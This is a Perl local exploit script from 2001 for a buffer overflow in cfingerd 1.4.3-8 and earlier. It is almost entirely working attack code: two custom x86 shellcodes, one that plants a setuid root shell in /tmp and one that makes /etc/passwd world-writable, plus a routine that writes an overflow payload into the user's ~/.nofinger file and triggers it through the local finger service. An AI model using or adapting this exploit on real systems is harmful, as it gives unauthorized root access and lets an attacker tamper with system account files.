#!/usr/bin/perl

# | Local buffer overflow exploit for cfingerd
# | Copyright (c) 2001 by <teleh0r@digit-labs.org>
# | All rights reserved.
# |
# | Simple exploit for the vulnerability reported
# | to bugtraq by Steven Van Acker.
# | http://www.securityfocus.com/archive/1/192844
# |
# | If cfingerd does not run as root, the exploit
# | will of course fail!
# |
# | http://www.digit-labs.org/teleh0r/

use Socket; use File::Copy;
use Getopt::Std; getopts('s:p:o:', \%arg);

if (defined($arg{'s'})) { $sjell  = $arg{'s'} }
if (defined($arg{'p'})) { $port   = $arg{'p'} }
if (defined($arg{'o'})) { $offset = $arg{'o'} }

# shellcodes written by myself especially for
# this exploit.

# 34 bytes
$shellcode1 =
  "\x31\xdb".                # xor  ebx, ebx
  "\x31\xc9".                # xor  ecx, ecx
  "\xf7\xe3".                # mul  ebx
  "\x52".                    # push edx
  "\x68\x2f\x2f\x79\x30".    # push dword 0x30792f2f
  "\x68\x2f\x74\x6d\x70".    # push dword 0x706d742f
  "\x89\xe3".                # mov  ebx, esp
  "\xb0\xb6".                # mov  al, 0xb6
  "\xcd\x80".                # int  0x80
  "\x66\xb9\xed\x0d".        # mov  cx, 0xded
  "\xb0\x0f".                # mov  al, 0xf
  "\xcd\x80".                # int  0x80
  "\x40".                    # inc  eax
  "\xcd\x80";                # int  0x80

# 35 bytes
$shellcode2 =
  "\xeb\x10".                # jmp  short file
  "\x5b".                    # pop  ebx
  "\x31\xc9".                # xor  ecx, ecx
  "\xf7\xe1".                # mul  ecx
  "\x66\xb9\xa6\x01".        # mov  cx, 0x1a6
  "\xb0\x0f".                # mov  al, mov
  "\xcd\x80".                # int  0x80
  "\x40".                    # inc  eax
  "\xcd\x80".                # int  0x80
  "\xe8\xeb\xff\xff\xff".    # call code
  "/etc/passwd".             # string
  "\x00";                    # null terminate

# cfingerd does not drop privileges before the 
# vulnerable code kicks in, therefore no need 
# to use setuid(0);

if (!(defined($sjell))||$sjell !~ m/^(1|2)$/) {&usage}
$shellcode = $sjell == 1 ? $shellcode1 : $shellcode2;

$port  ||= 2003;
$user    = getlogin() || getpwuid($<);
$return  = 0xbffff46c;
$length  = 88;
$kewlnop = 'K';
$homedir = (getpwnam($user))[7];

printf("Address: %#lx\n", ($return + $offset));
&do_checkz;

if (connect_host('127.0.0.1', $port)) {
    &prepare_attack;

    send(SOCKET, "$user\015\012", 0);
    close(SOCKET);

    sleep(1); 
    &do_checkz;

    die("Sorry, exploit failed - check the values.\n");
}

sub prepare_attack {
    for ($i = 0; $i < ($length - 2 - 4); $i++) {
	$buffer .= $kewlnop;
    }
    
    #<82'nops'><jmp 0x4><retaddr><shellcode>

    $buffer .= "\xeb\x04";
    $buffer .= pack('l', ($return + $offset));
    $buffer .= $shellcode;

    if (-e("$homedir/.nofinger")) { # I am nice, huh?
	copy("$homedir/.nofinger", "$homedir/.nofinger.BAK");
    }
    
    open(FILE, ">$homedir/.nofinger") || die("Error: $!\n");
    print(FILE "\$$buffer\n");
    close(FILE);    
}
	
sub do_checkz {
    if ($sjell == '1') {
	if (-u("/tmp/y0") && (stat("/tmp/y0"))[4,5] == '0') {
	    print("Exploit attempt succeeded!\n");
	    exec("/tmp/y0");	    
	} elsif (stat("/tmp/y0") == '0') {
	    copy("/bin/sh", "/tmp/y0") || die("Error: $!\n");
	}
    } elsif ($sjell == '2') {
	if (-w("/etc/passwd")) {
	    ($perm) = (split(/\s/,`ls -la /etc/passwd`))[0];
	    print("Success: /etc/passwd $perm\n");
	    exit(0);
	}
    } 
}

sub usage {
system("clear");

# below layout style stolen from qitest1 xinetd exploit ;)
# werd!

print(qq(
cfingerd <= 1.4.3-8 local exploit by teleh0r
All rights reserved.

Usage: $0 [options]
Options:
  -s shellcode  - see below
  -p port       - 2003 default
  -o offset 

Available shellcodes:
  1\) root shell in /tmp
  2\) writable /etc/passwd

));
exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1);
}
